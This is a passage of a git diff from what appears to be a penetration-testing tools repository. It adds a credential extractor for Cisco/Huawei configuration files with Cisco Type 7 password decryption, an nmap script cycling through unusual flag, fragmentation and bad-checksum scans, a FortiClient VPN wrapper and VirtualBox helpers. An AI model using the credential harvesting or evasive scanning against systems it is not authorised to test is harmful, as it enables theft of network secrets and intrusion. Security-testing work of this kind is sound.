stabily at the moment. +- **`IBM-MQ-Pentesting-notes.md`** - Busy-man's Practical IBM MQ Penetration Testing cheatsheet, equipped with a couple of handy tips and punch-q installation walkthrough. ([gist](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)) + - **`iis_webdav_upload.py`** - Microsoft IIS WebDAV Write Code Execution exploit (based on Metasploit HDM's implementation). ([gist](https://gist.github.com/mgeeky/ce179cdbe4d8d85979a28c1de61618c2)) - **`libssh-auth-bypass.py`** - CVE-2018-10993 libSSH authentication bypass exploit - **`networkConfigurationCredentialsExtract.py`** - Network-configuration Credentials extraction script - intended to sweep input configuration file and extract keys, hashes, passwords. ([gist](https://gist.github.com/mgeeky/861a8769a261c7fc09a34b7d2bd1e1a0)) +- **`nmap-christmas-tree.sh`** - Simple script looking for discrepancies between known-to-be listening TCP port and known-to-be closed one as seen from varying scan strategies. + - **`nmap-grep-to-table.sh`** - Script converting nmap's greppable output (-oG) into a printable per-host tables. ([gist](https://gist.github.com/mgeeky/cd3092cf60fd513d786286a21c6fa915)) - **`nmap-scan-all.sh`** - Simple script to launch nmap scans against given target, using specific options and scripts set. diff --git a/networks/networkConfigurationCredentialsExtract.py b/networks/networkConfigurationCredentialsExtract.py index a70c448..ff52452 100644 --- a/networks/networkConfigurationCredentialsExtract.py +++ b/networks/networkConfigurationCredentialsExtract.py @@ -3,8 +3,9 @@ # # Script intendend to sweep Cisco, Huawei and possibly other network devices # configuration files in order to extract plain and cipher passwords out of them. +# Equipped with functionality to decrypt Cisco Type 7 passwords. # -# Mariusz B., mgeeky '18 +# Mariusz B., mgeeky '18-20 # import re @@ -45,6 +46,10 @@ regexes = { 'ISAKMP Pre-Shared Key' : r'crypto isakmp key \password(?: address \ip)?', 'SNMP-Server User Auth & Encr keys' : r'snmp-server user \name .* encrypted auth md5 ([0-9a-f\:]+) priv aes \d+ ([0-9a-f\:]+)', 'PPP PAP Sent Username & Password' : r'ppp pap sent-username \name password \password', + 'AAA TACACS+/RADIUS Server Private' : r'server-private \ip key \password', + 'AAA TACACS+ Server Private' : r'tacacs-server key \password', + 'SNMP Server Community string' : r'snmp-server community \password', + 'IPSec VPN ISAKMP Pre-Shared Key' : r'pre-shared-key address \ip key \password' }, 'Cisco ASA' : { @@ -88,6 +93,7 @@ regexes = { 'Other uncategorized XML password' : r'password>([^<]+)<', 'Other uncategorized authentication string' : r'.* authentication \password.*', 'Other hash-key related' : r'.* key \hash', + 'Cisco 7 Password' : r'\cisco7', }, } @@ -95,9 +101,12 @@ config = { 'verbose' : False, 'debug' : False, 'lines' : 0, - 'output' : 'normal', + 'format' : 'normal', 'csv_delimiter' : ';', 'no_others' : False, + 'filename' : False, + 'nonunique' : False, + 'output' : '' } markers = { @@ -106,7 +115,8 @@ markers = { 'domain' : r'(([a-zA-Z]{1})|([a-zA-Z]{1}[a-zA-Z]{1})|([a-zA-Z]{1}[0-9]{1})|([0-9]{1}[a-zA-Z]{1})|([a-zA-Z0-9][a-zA-Z0-9-_]{1,61}[a-zA-Z0-9]))\.([a-zA-Z]{2,6}|[a-zA-Z0-9-]{2,30}\.[a-zA-Z]{2,3})', 'hash' : r'([a-fA-F0-9]{20,})', 'bcrypt' : r'([\$\w\.\/]+)', - 'password': r'(?:\d\s+)?([^\s]+)', + 'password': r'(?:(?:\d\s+)?([^\s]+))', + 'cisco7' : r'\b(?:7 ([0-9a-f]{4,}))|(?:([0-9a-f]{4,}) 7)\b', 'keystring': r'([a-f0-9]+)', } @@ -115,7 +125,7 @@ foundCreds = set() maxTechnologyWidth = 0 maxRegexpWidth = 0 -results = set() +results = [] class Logger: @staticmethod @@ -156,7 +166,53 @@ def processRegex(inputRegex): inputRegex = '^\\s*{}\\s*.*$'.format(inputRegex) return inputRegex -def matchLines(lines, technology): +def cisco7Decrypt(data): + # source: https://github.com/theevilbit/ciscot7 + xlat = [ + 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41, 0x2c, 0x2e, + 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, + 0x48, 0x53, 0x55, 0x42, 0x73, 0x67, 0x76, 0x63, 0x61, 0x36, 0x39, + 0x38, 0x33, 0x34, 0x6e, 0x63, 0x78, 0x76, 0x39, 0x38, 0x37, 0x33, + 0x32, 0x35, 0x34, 0x6b, 0x3b, 0x66, 0x67, 0x38, 0x37 + ] + + dp = '' + regex = re.compile(r'(^[0-9A-Fa-f]{2})([0-9A-Fa-f]+)') + result = regex.search(data) + try: + if result: + s, e = int(result.group(1)), result.group(2) + for pos in range(0, len(e), 2): + magic = int(e[pos] + e[pos+1], 16) + newchar = '' + if s <= 50: + # xlat length is 51 + newchar = '%c' % (magic ^ xlat[s]) + s += 1 + if s == 51: s = 0 + dp += newchar + return dp + return '' + except: + return '' + +def tryToCisco7Decrypt(creds): + if not len(creds): + return '' + + decrypted = [] + for m in re.finditer(markers['cisco7'], creds, re.I): + f = m.group(2) if m.group(2) != None else m.group(1) + out = cisco7Decrypt(f) + if out: + decrypted.append(out) + + if len(decrypted): + return " (decrypted cisco 7: '" + "', '".join(decrypted) + "')" + + return '' + +def matchLines(file, lines, technology): global foundCreds global results @@ -166,7 +222,7 @@ def matchLines(lines, technology): for idx in range(len(lines)): line = lines[idx].strip() - if line in foundCreds: + if not config['nonunique'] and line in foundCreds: continue processedRex = processRegex(regexes[technology][rex]) @@ -175,28 +231,28 @@ def matchLines(lines, technology): num += 1 foundCreds.add(line) - creds = '", "'.join(matched.groups(1)) + f = [x for x in matched.groups(1) if type(x) == str] + creds = '", "'.join(f) + creds += tryToCisco7Decrypt(line) - results.add(( - technology, rex, creds + results.append(( + file, technology, rex, creds )) - Logger._out('[+] {}: {}: {}'.format( - technology, rex, creds - )) - - if idx - config['lines'] >= 0: - for i in range(idx - config['lines'], idx): - Logger._out('[{:04}]\t\t{}'.format(i, lines[i])) - if config['lines'] != 0: - Logger._out('[{:04}]==>\t{}'.format(idx, line)) - else: - Logger._out('[{:04}]\t\t{}'.format(idx, line)) + Logger._out('\n[+] {}: {}: {}'.format( + technology, rex, creds + )) - if idx + 1 + config['lines'] < len(lines): - for i in range(idx + 1, idx + config['lines'] + 1): - Logger._out('[{:04}]\t\t{}'.format(i, lines[i])) + if idx - config['lines'] >= 0: + for i in range(idx - config['lines'], idx): + Logger._out('[{:04}]\t\t{}'.format(i, lines[i])) + + Logger._out('[{:04}]==>\t{}'.format(idx, line)) + + if idx + 1 + config['lines'] < len(lines): + for i in range(idx + 1, idx + config['lines'] + 1): + Logger._out('[{:04}]\t\t{}'.format(i, lines[i])) Logger.dbg('\tRegex used: [ {} ]'.format(processedRex)) return num @@ -205,21 +261,23 @@ def processFile(file): lines = [] Logger.info('Processing file: "{}"'.format(file)) - with open(file, 'r') as f: - lines = [ line.strip() for line in f.readlines()] + try: + with open(file, 'r') as f: + lines = [ line.strip() for line in f.readlines()] + except Exception as e: + Logger.err("Parsing file '{}' failed: {}.".format(file, str(e))) + return 0 num = 0 for technology in regexes: if technology == 'Others': continue - num0 = matchLines(lines, technology) + num0 = matchLines(file, lines, technology) num += num0 if not config['no_others']: - num0 = matchLines(lines, 'Others') - if num0 == 0: - print('') + num0 = matchLines(file, lines, 'Others') num += num0 return num @@ -237,11 +295,14 @@ def processDir(dirname): def parseOptions(argv): parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] ') parser.add_argument('file', metavar='', type=str, help='Config file or directory to process.') + parser.add_argument('-o', '--output', help = 'Output file.') + parser.add_argument('-H', '--with-filename', action='store_true', help = 'Print file name next to the results') + parser.add_argument('-R', '--show-nonunique', action='store_true', help = 'Print repeated, non unique credentials found. By default only unique references are returned.') parser.add_argument('-C', '--lines', metavar='N', type=int, default=0, help='Display N lines around matched credential if verbose output is enabled.') parser.add_argument('-f', '--format', choices=['raw', 'normal', 'tabular', 'csv'], default='normal', help="Specifies output format: 'raw' (only hashes), 'tabular', 'normal', 'csv'. Default: 'normal'") parser.add_argument('-N', '--no-others', dest='no_others', action='store_true', help='Don\'t match "Others" category which is false-positives prone.') - parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.') - parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.') + parser.add_argument('-v', '--verbose', action='store_true', default=False, help='Display verbose output.') + parser.add_argument('-d', '--debug', action='store_true', default=False, help='Display debug output.') if len(argv) < 2: parser.print_help() @@ -253,32 +314,40 @@ def parseOptions(argv): config['debug'] = args.debug config['lines'] = args.lines config['no_others'] = args.no_others + config['filename'] = args.with_filename + config['nonunique'] = args.show_nonunique + config['output'] = args.output if args.format == 'raw': - config['output'] = 'raw' + config['format'] = 'raw' elif args.format == 'tabular': - config['output'] = 'tabular' + config['format'] = 'tabular' elif args.format == 'csv': - config['output'] = 'csv' + config['format'] = 'csv' else: - config['output'] == 'normal' + config['format'] == 'normal' return args def printResults(): global maxTechnologyWidth global maxRegexpWidth + global results # CSV Columns - cols = ['technology', 'name', 'hashes'] + cols = ['file', 'technology', 'name', 'hashes'] - def _print(technology, rex, creds): - if config['output'] == 'tabular': - print('[+] {0: <{width1}} {1:^{width2}}: "{2:}"'.format( + if not config['nonunique']: + results = set(results) + + def _print(file, technology, rex, creds): + out = '' + if config['format'] == 'tabular': + out += '[+] {0: <{width1}} {1:^{width2}}: "{2:}"\n'.format( technology, rex, creds, width1 = maxTechnologyWidth, width2 = maxRegexpWidth - )) - elif config['output'] == 'raw': + ) + elif config['format'] == 'raw': credstab = creds.split('", "') longest = '' @@ -286,24 +355,26 @@ def printResults(): if len(passwd) > len(longest): longest = passwd - print('{}'.format( + out += '{}\n'.format( passwd - )) - elif config['output'] == 'csv': + ) + elif config['format'] == 'csv': creds = '"{}"'.format(creds) rex = rex.replace(config['csv_delimiter'], ' ') - #creds = creds.replace(config['csv_delimiter'], ' ') - print(config['csv_delimiter'].join([technology, rex, creds])) + out += config['csv_delimiter'].join([file, technology, rex, creds]) + out += '\n' else: - print('[+] {}: {}: "{}"'.format( + out += '[+] {}: {}: "{}"\n'.format( technology, rex, creds - )) + ) + + return out maxTechnologyWidth = 0 maxRegexpWidth = 0 for result in results: - technology, rex, creds = result + file, technology, rex, creds = result if len(technology) > maxTechnologyWidth: maxTechnologyWidth = len(technology) @@ -313,23 +384,45 @@ def printResults(): maxTechnologyWidth = maxTechnologyWidth + 3 maxRegexpWidth = maxRegexpWidth + 3 - if config['output'] == 'normal' or config['output'] == 'tabular': - print('\n=== CREDENTIALS FOUND:') - elif config['output'] == 'csv': - print(config['csv_delimiter'].join(cols)) + outputToPrint = '' + if config['format'] == 'normal' or config['format'] == 'tabular': + outputToPrint += '\n=== CREDENTIALS FOUND:\n' + elif config['format'] == 'csv': + outputToPrint += config['csv_delimiter'].join(cols) + outputToPrint += '\n' + + resultsPerFile = {} + otherResultsPerFile = {} for result in results: - technology, rex, creds = result - if technology == 'Others': continue - _print(technology, rex, creds) + file, technology, rex, creds = result + if technology == 'Others': + if file not in otherResultsPerFile.keys(): + otherResultsPerFile[file] = [] + otherResultsPerFile[file].append((technology, rex, creds)) + else: + if file not in resultsPerFile.keys(): + resultsPerFile[file] = [] + resultsPerFile[file].append((technology, rex, creds)) - if not config['no_others'] and (config['output'] == 'normal' or config['output'] == 'tabular'): - print('\n=== BELOW LINES MAY BE FALSE POSITIVES:') + for file, _results in resultsPerFile.items(): + if config['filename'] and config['format'] in ['raw', 'normal', 'tabular']: + outputToPrint += '\nResults from file: "{}"\n'.format(file) + for result in _results: + technology, rex, creds = result + outputToPrint += _print(file, technology, rex, creds) - for result in results: - technology, rex, creds = result - if technology != 'Others': continue - _print(technology, rex, creds) + if not config['no_others'] and (config['format'] == 'normal' or config['format'] == 'tabular'): + outputToPrint += '\n\n=== BELOW LINES MAY BE FALSE POSITIVES:\n' + + for file, _results in otherResultsPerFile.items(): + if config['filename'] and config['format'] in ['raw', 'normal', 'tabular']: + outputToPrint += '\nResults from file: "{}"\n'.format(file) + for result in _results: + technology, rex, creds = result + outputToPrint += _print(file, technology, rex, creds) + + return outputToPrint def main(argv): Logger._out(''' @@ -356,9 +449,16 @@ def main(argv): Logger.err('Please provide either file or directory on input.') return False - printResults() + out = printResults() - if config['output'] == 'normal' or config['output'] == 'tabular': + if config['output']: + Logger.info("Dumping credentials to the output file: '{}'".format(config['output'])) + with open(config['output'], 'w') as f: + f.write(out) + else: + print(out) + + if config['format'] == 'normal' or config['format'] == 'tabular': print('\n[>] Found: {} credentials.'.format(num)) if __name__ == '__main__': diff --git a/networks/nmap-christmas-tree.sh b/networks/nmap-christmas-tree.sh new file mode 100755 index 0000000..175357a --- /dev/null +++ b/networks/nmap-christmas-tree.sh @@ -0,0 +1,201 @@ +#!/bin/bash + +if [ $# -ne 3 ]; then + echo "Usage: ./nmap-christmas-tree.sh " + echo -e "\nopened-port\t- A TCP port number that is known to be opened/listening, e.g. 443" + echo -e "closed-port\t- A TCP port number that is known to be closed, e.g. 44444" + echo + exit 1 +fi + +HOST=$1 +PORT1=$2 +PORT2=$3 + +OPTS="-Pn -T4" + +function scan { + opts=$@ + echo "Trying $opts..." + out=$(sudo nmap "$OPTS" -p $PORT1,$PORT2 $opts $HOST | grep -E "$PORT1|$PORT2") + num=$(echo "$out" | awk '{print $2}' | uniq | wc -l) + if [[ $num == 2 ]]; then + echo + echo "== DISCREPANCY occured on: $opts" + echo -e "NMAP:\tsudo nmap "$OPTS" -p $PORT1,$PORT2 $opts $HOST" + echo "$out" + echo + fi +} + +scan -sS +scan -sT +scan -sA +scan -sW +scan -sM +scan -sN +scan -sF +scan -sX +scan --scanflags SYN +scan --scanflags SYNACK +scan --scanflags SYNFIN +scan --scanflags SYNPSH +scan --scanflags SYNRST +scan --scanflags SYNURG +scan --scanflags URG +scan --scanflags URGACK +scan --scanflags URGFIN +scan --scanflags URGPSH +scan --scanflags URGRST +scan --scanflags PSH +scan --scanflags PSHACK +scan --scanflags PSHFIN +scan --scanflags PSHRST +scan --scanflags ACK +scan --scanflags ACKFIN +scan --scanflags ACKRST +scan --scanflags RST +scan --scanflags RSTFIN +scan --scanflags FIN +scan -sS -f +scan -sT -f +scan -sA -f +scan -sW -f +scan -sM -f +scan -sN -f +scan -sF -f +scan -sX -f +scan --scanflags SYN -f +scan --scanflags SYNACK -f +scan --scanflags SYNFIN -f +scan --scanflags SYNPSH -f +scan --scanflags SYNRST -f +scan --scanflags SYNURG -f +scan --scanflags URG -f +scan --scanflags URGACK -f +scan --scanflags URGFIN -f +scan --scanflags URGPSH -f +scan --scanflags URGRST -f +scan --scanflags PSH -f +scan --scanflags PSHACK -f +scan --scanflags PSHFIN -f +scan --scanflags PSHRST -f +scan --scanflags ACK -f +scan --scanflags ACKFIN -f +scan --scanflags ACKRST -f +scan --scanflags RST -f +scan --scanflags RSTFIN -f +scan --scanflags FIN -f +scan -sS -f --badsum +scan -sA -f --badsum +scan -sW -f --badsum +scan -sM -f --badsum +scan -sN -f --badsum +scan -sF -f --badsum +scan -sX -f --badsum +scan --scanflags SYN -f --badsum +scan --scanflags SYNACK -f --badsum +scan --scanflags SYNFIN -f --badsum +scan --scanflags SYNPSH -f --badsum +scan --scanflags SYNRST -f --badsum +scan --scanflags SYNURG -f --badsum +scan --scanflags URG -f --badsum +scan --scanflags URGACK -f --badsum +scan --scanflags URGFIN -f --badsum +scan --scanflags URGPSH -f --badsum +scan --scanflags URGRST -f --badsum +scan --scanflags PSH -f --badsum +scan --scanflags PSHACK -f --badsum +scan --scanflags PSHFIN -f --badsum +scan --scanflags PSHRST -f --badsum +scan --scanflags ACK -f --badsum +scan --scanflags ACKFIN -f --badsum +scan --scanflags ACKRST -f --badsum +scan --scanflags RST -f --badsum +scan --scanflags RSTFIN -f --badsum +scan --scanflags FIN -f --badsum +scan -sS --badsum +scan -sA --badsum +scan -sW --badsum +scan -sM --badsum +scan -sN --badsum +scan -sF --badsum +scan -sX --badsum +scan --scanflags SYN --badsum +scan --scanflags SYNACK --badsum +scan --scanflags SYNFIN --badsum +scan --scanflags SYNPSH --badsum +scan --scanflags SYNRST --badsum +scan --scanflags SYNURG --badsum +scan --scanflags URG --badsum +scan --scanflags URGACK --badsum +scan --scanflags URGFIN --badsum +scan --scanflags URGPSH --badsum +scan --scanflags URGRST --badsum +scan --scanflags PSH --badsum +scan --scanflags PSHACK --badsum +scan --scanflags PSHFIN --badsum +scan --scanflags PSHRST --badsum +scan --scanflags ACK --badsum +scan --scanflags ACKFIN --badsum +scan --scanflags ACKRST --badsum +scan --scanflags RST --badsum +scan --scanflags RSTFIN --badsum +scan --scanflags FIN --badsum +scan -sS --mtu 16 +scan -sA --mtu 16 +scan -sW --mtu 16 +scan -sM --mtu 16 +scan -sN --mtu 16 +scan -sF --mtu 16 +scan -sX --mtu 16 +scan --scanflags SYN --mtu 16 +scan --scanflags SYNACK --mtu 16 +scan --scanflags SYNFIN --mtu 16 +scan --scanflags SYNPSH --mtu 16 +scan --scanflags SYNRST --mtu 16 +scan --scanflags SYNURG --mtu 16 +scan --scanflags URG --mtu 16 +scan --scanflags URGACK --mtu 16 +scan --scanflags URGFIN --mtu 16 +scan --scanflags URGPSH --mtu 16 +scan --scanflags URGRST --mtu 16 +scan --scanflags PSH --mtu 16 +scan --scanflags PSHACK --mtu 16 +scan --scanflags PSHFIN --mtu 16 +scan --scanflags PSHRST --mtu 16 +scan --scanflags ACK --mtu 16 +scan --scanflags ACKFIN --mtu 16 +scan --scanflags ACKRST --mtu 16 +scan --scanflags RST --mtu 16 +scan --scanflags RSTFIN --mtu 16 +scan --scanflags FIN --mtu 16 +scan -sS --mtu 65528 +scan -sT --mtu 65528 +scan -sA --mtu 65528 +scan -sW --mtu 65528 +scan -sM --mtu 65528 +scan -sN --mtu 65528 +scan -sF --mtu 65528 +scan -sX --mtu 65528 +scan --scanflags SYN --mtu 65528 +scan --scanflags SYNACK --mtu 65528 +scan --scanflags SYNFIN --mtu 65528 +scan --scanflags SYNPSH --mtu 65528 +scan --scanflags SYNRST --mtu 65528 +scan --scanflags SYNURG --mtu 65528 +scan --scanflags URG --mtu 65528 +scan --scanflags URGACK --mtu 65528 +scan --scanflags URGFIN --mtu 65528 +scan --scanflags URGPSH --mtu 65528 +scan --scanflags URGRST --mtu 65528 +scan --scanflags PSH --mtu 65528 +scan --scanflags PSHACK --mtu 65528 +scan --scanflags PSHFIN --mtu 65528 +scan --scanflags PSHRST --mtu 65528 +scan --scanflags ACK --mtu 65528 +scan --scanflags ACKFIN --mtu 65528 +scan --scanflags ACKRST --mtu 65528 +scan --scanflags RST --mtu 65528 +scan --scanflags RSTFIN --mtu 65528 +scan --scanflags FIN --mtu 65528 diff --git a/others/README.md b/others/README.md index 49fda04..44be154 100644 --- a/others/README.md +++ b/others/README.md @@ -7,6 +7,37 @@ - **`encrypt.rb`** - Simple File Encryption utility (with support for Blowfish, GOST, IDEA, AES) capable of encrypting directories. ([gist](https://gist.github.com/mgeeky/751c01c4dac99871f4da)) +- **`forticlientsslvpn-expect.sh`** - Forticlient SSL VPN Client launching script utilizing expect. Useful while working for clients exposing their local networks through a Fortinet SSL VPN. [gist](https://gist.githubusercontent.com/mgeeky/8afc0e32b8b97fd6f96fce6098615a93/raw/cf127be09d02e04c00eb578e4ef1219a773d21cf/forticlientsslvpn-expect.sh) + - **`playRTPStream.sh`** - Using rtpdump to play RTP streams from PCAP files with VLC. This script was useful to extract RTP Streams from sniffed VoIP communication and then with a help of VLC to dump those streams into valid .wav files. (https://github.com/hdiniz/rtpdump). [gist](https://gist.github.com/mgeeky/0b8bd81a3f6fb70eec543bc0bae2f079) +- **`vm-manager.sh`** - A bash script offering several aliases/functions for quick management of a single Virtualbox VM machine. Handy to use it for example to manage a Kali box. By issuing `startkali` the VM will raise, `sshkali` - offers instant SSH into your VM, `getkali` - returns VM's IP address, `iskali` - checks whether VM is running, `stopkali` goes without explanation. [gist](https://gist.github.com/mgeeky/80b1f7addb792796d8bfb67188d72f4a) + +``` +user@my-box $ startkali +[>] Launching kali in headless +[>] Awaiting for machine to get up... +Waiting for VM "kali" to power on... +VM "kali" has been successfully started. + 1. Attempting to connect with kali... +[.] Testing: 192.168.56.1 +[.] Testing: 192.168.56.101 +[+] Found VM by ssh probing: 192.168.56.101 +[+] Running VM init commands... +[?] Timed out while trying to run VM_INIT_COMMANDS. +Continuing anyway... +[.] Testing: 192.168.56.1 +[.] Testing: 192.168.56.102 +[+] Found VM by ssh probing: 192.168.56.102 +[+] Running VM init commands... +[+] Updated /etc/hosts file with '192.168.56.102 kali' entry. +[+] Succeeded. kali found in network. + +user@my-box $ sshkali +Linux Kali 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 +Last login: Fri Dec 6 07:40:19 2019 from 192.168.56.1 +root@Kali:~ # hostname +Kali +``` + - **`xor-key-recovery.py`** - Simple XOR brute-force Key recovery script - given a cipher text, plain text and key length - it searches for proper key that could decrypt cipher into text. ([gist](https://gist.github.com/mgeeky/589b2cf781901288dfea0894a780ff98)) diff --git a/others/forticlientsslvpn-expect.sh b/others/forticlientsslvpn-expect.sh new file mode 100644 index 0000000..0acfd1b --- /dev/null +++ b/others/forticlientsslvpn-expect.sh @@ -0,0 +1,63 @@ +#!/bin/bash + +# Forticlient SSL VPN Client launching script utilizing expect. + +# -------------------------------------------- +# CONFIGURATION + +# If empty - script will take some simple logic to locate appropriate binary. +FORTICLIENT_PATH="" + +# VPN Credentials +VPN_HOST="host:10443" +VPN_USER="username" +VPN_PASS="password" + +# -------------------------------------------- + +trap ctrl_c INT + +function ctrl_c() { + echo "Removing left-over files..." + rm -f /tmp/expect +} + +if [[ $EUID -ne 0 ]]; then + echo "This script must be run as root" + exit 1 +fi + +if [ -z "$FORTICLIENT_PATH" ]; then + FORTICLIENT_PATH=`uname -r | grep -q 64 && echo $(locate forticlientsslvpn_cli | grep 64bit) || echo $(locate forticlientsslvpn_cli | grep 32bit)` + if [ ! -f $FORTICLIENT_PATH ]; then + echo "Tried to locate Forticlient SSL VPN Cli binary, but failed." + echo "Specify it at variable FORTCLIENT_PATH" + exit 1 + fi + echo "Located Forticlient VPN Client at: $FORTICLIENT_PATH" +fi + +echo "Killing previous instances of Forticlient SSL VPN client..." +killall -9 $(basename $FORTICLIENT_PATH) 2> /dev/null + +cat << EOF > /tmp/expect +#!/usr/bin/expect -f +match_max 1000000 +set timeout -1 +spawn $FORTICLIENT_PATH --server $VPN_HOST --vpnuser $VPN_USER --keepalive +expect "Password for VPN:" +send -- "$VPN_PASS" +send -- "\r" + +expect "Would you like to connect to this server? (Y/N)" +send -- "Y" +send -- "\r" + +expect "Clean up..." +close +EOF + +chmod 500 /tmp/expect +/usr/bin/expect -f /tmp/expect + +rm -f /tmp/expect \ No newline at end of file diff --git a/others/vm-manager.sh b/others/vm-manager.sh new file mode 100755 index 0000000..97183fe --- /dev/null +++ b/others/vm-manager.sh @@ -0,0 +1,281 @@ +#!/bin/bash +# +# Simple vm-specific management bash functions and aliases. +# Coming with basic functionality of starting, stopping and status checking +# routines. Easy to change to manage other type of VMs. +# +# Providing commands for: +# - starting/stopping selected VM +# - checking whether selected VM is running +# - easily ssh'ing to the selected VM +# - scanning for other VMs +# - setting selected VM's IP address within /etc/hosts (and alike) file +# +# Mariusz B. / mgeeky, '16-'19 +# v0.7 +# + +# VM_NAME as defined in VirtualBox. Name must not contain any special characters, not +# even space. +VM_NAME=kali + +# User's name to be used during ssh. +VM_USER=root + +# Host-only's interface network address and interface +HOST_ONLY_NET=192.168.56.1 +HOST_ONLY_IFACE=vboxnet0 + +# Hosts file where to put the VM's host IP address +HOSTS_FILE=/etc/hosts + +# Command to be run to detect proper VM and pattern to be matched then. +VM_DETECT_COMMAND="uname -a" +VM_DETECT_PATTERN="Linux Kali" + +# Initial commands one would like to get executed upon VM start. +VM_INIT_COMMANDS="dhclient -r eth1 ; dhclient -v eth1" + + + +# +# Will set the following aliases: +# - ssh alias for quick ssh-connection +# - get alias for quick vm's ip resolution +# - start alias for starting up particular vm +# - stop alias for stopping particular vm +# - is alias for checking whether the vm is running. +# +# For instance, when VM_NAME=Kali - the following aliases will be defined: +# sshkali, getkali, and so on +# +function setup_aliases() { + name=$VM_NAME + if [ -z $name ]; then + echo "[!] You must set the VM_NAME variable within that script first!" + exit 1 + fi + alias ssh$name="ssh -o StrictHostKeyChecking=no -Y $VM_USER@$name" + alias get$name="cat $HOSTS_FILE | grep -i $name | cut -d' ' -f1" + alias start$name="startvm" + alias stop$name="stopvm" + alias is$name="VBoxManage list runningvms | grep -qi $name && echo '[+] Running' || echo '[-] Not running';" +} + + +# +# Function for starting particular VM and then detecting it within +# user-specified host-only network, in order to setup correct entry in hosts file. +# Afterwards some additional actions like sshfs mounting could be deployed. +# +function startvm() { + if [ -n "$1" ] && [[ "$1" == "-h" ]]; then + echo "[?] Usage: startvm [mode] - where [mode] is: headless (default) or gui" + return + fi + + name=$VM_NAME + #hostname=${name,,} + hostname=$name + mode=$1 + if [[ "$mode" == "" ]]; then + mode='headless' + elif [[ "$mode" == "gui" ]]; then + mode='gui' + else + echo "[?] Usage: startvm [mode] - where [mode] is: headless (default) or gui" + return + fi + + echo "[>] Launching $name in $mode" + if [[ $(VBoxManage list runningvms | grep -i $name) ]]; then + echo "[+] Already running..." + else + echo "[>] Awaiting for machine to get up..." + VBoxManage startvm $name --type $mode + if [ $? -ne 0 ]; then + echo "[!] Could not get $name started. Bailing out." + exit 1 + fi + + found=0 + sleep 16 + + for i in `seq 1 25`; + do + if [ $found -ne 0 ]; then + break + fi + + echo -e "\t$i. Attempting to connect with $name..." + sleep 3 + + if scan_for_vm; then + found=1 + break + fi + done + + if [ $found -ne 1 ]; then + echo "[!] Critical - could not locate $name VM machine on network." + echo -e "\tYou can always try 'scan_for_vm' command to do a sweep again and retry process." + return + fi + + echo "[+] Succeeded. $name found in network." + fi +} + + +# +# Function for stopping particular VM. +# +function stopvm() { + name=$VM_NAME + hostname=$name + + if VBoxManage list runningvms | grep -qi $name + then + sleep 2 + sudo sed -i "/$hostname/d" $HOSTS_FILE + echo "[+] Stopping $VM_NAME..." + VBoxManage controlvm $name savestate + else + echo "[-] Not running." + return + fi + + sleep 3 + if VBoxManage list runningvms | grep -qi $name + then + echo "[?] Seems that $name do not want to be pasued..." + sleep 2 + VBoxManage controlvm $name acpipowerbutton + + if VBoxManage list runningvms | grep -qi $name + then + echo "[-] Could not pause $name politely. Cut his head!" + sleep 3 + VBoxManage controlvm $name poweroff + else + echo "[+] Ok, it had shut itself down." + fi + fi +} + + +# +# One can use that very function to enumerate available machines +# visible from VMs network interface (under ARP scanning). +# +function find_vms_netdiscover { + sudo netdiscover -i $HOST_ONLY_IFACE -r $HOST_ONLY_NET/24 -N -P | grep ${HOST_ONLY_NET:0:5} | cut -d' ' -f2 | tail -n +2 +} + +function find_vms_nmap { + nmap -sn $HOST_ONLY_NET/24 -oG - | grep Up | awk '{print $2}' +} + +function find_vms { + sudo ifconfig $HOST_ONLY_IFACE up + out="" + if [ -x "$(command -v nmap)" ]; then + out=$(find_vms_nmap) + if test "$out" != ""; then + echo "$out" + return + fi + fi + if [ -x "$(command -v netdiscover)" ]; then + out=$(find_vms_netdiscover) + if test "$out" != ""; then + echo "$out" + return + fi + fi + echo "" +} + +function detect_vm { + out=$(timeout 30s ssh -o BatchMode=yes -o StrictHostKeyChecking=no -o ConnectTimeout=5 $VM_USER@$1 "$VM_DETECT_COMMAND" 2>/dev/null ) + if [ $? -eq 124 ] || [ $? -eq 255 ]; then + echo "[!] Machine $1 timed out while trying to detect it by ssh probing." + return 1 + fi + + if echo "$out" | grep -qi "$VM_DETECT_PATTERN" ; then + return 0 + else + return 1 + fi +} + +# +# If for some reason `start` command didn't manage to find the VM +# that was starting at that moment, one can repeat the scan & set process +# manually using the below command. +# +function scan_for_vm { + + # Scanning hosts in host-only network made by VirtualBox and then every + # found host will be ssh'd to get it's uname and determine whether it is our vm. + # Thanks to this loop we will not be failing to connect to our VM in case it's + # IP would get assigned differently from VBox dhcp. + hosts=$(find_vms) + + declare -a hostsarray + while read -r host + do + hostsarray+=($host) + done <<< "$hosts" + + sorted_hostsarray=($(echo "${hostsarray[@]}" | tr ' ' '\n' | sort -u)) + for host in $sorted_hostsarray[@]; do + echo "[.] Testing: $host" + detect_vm $host + if [ $? -eq 0 ] + then + # VM found by match in uname's output. + echo "[+] Found VM by ssh probing: $host" + + if [ -n "$VM_INIT_COMMANDS" ]; then + echo "[+] Running VM init commands..." + timeout 1m ssh -o BatchMode=yes -o StrictHostKeyChecking=no -o ConnectTimeout=5 $VM_USER@$host "$VM_INIT_COMMANDS" 2>/dev/null + if [ $? -eq 124 ]; then + echo "[?] Timed out while trying to run VM_INIT_COMMANDS." + #return 1 + echo "Continuing anyway..." + fi + detect_vm $host + if [ $? -ne 0 ]; then + if [ $# -eq 1 ] && [ "$1" == "again" ] ; then + echo "[!] After initial commands the connection with VM is lost. Repeat the 'scan_for_vm' process" + return 1 + else + scan_for_vm "again" + fi + fi + fi + + # Since the shell does output redirection not sudo, we have to write + # to the hosts file like so: + # + cat $HOSTS_FILE | grep -qi $VM_NAME + if [ $? -eq 0 ] && [ "$1" != "again" ]; then + sudo sed -i -E "s/^[0-9]{1,3}.[0-9]{1,3}+.[0-9]{1,3}+.[0-9]{1,3}+\s+$VM_NAME/$host $VM_NAME/" $HOSTS_FILE + echo "[+] Updated /etc/hosts file with '$host $VM_NAME' entry." + else + echo "$host $hostname" | sudo tee --append $HOSTS_FILE > /dev/null + fi + return 0 + else + #echo "[.] Not our target VM: '$host'" + continue + fi + done + + echo "[!] Could not locate 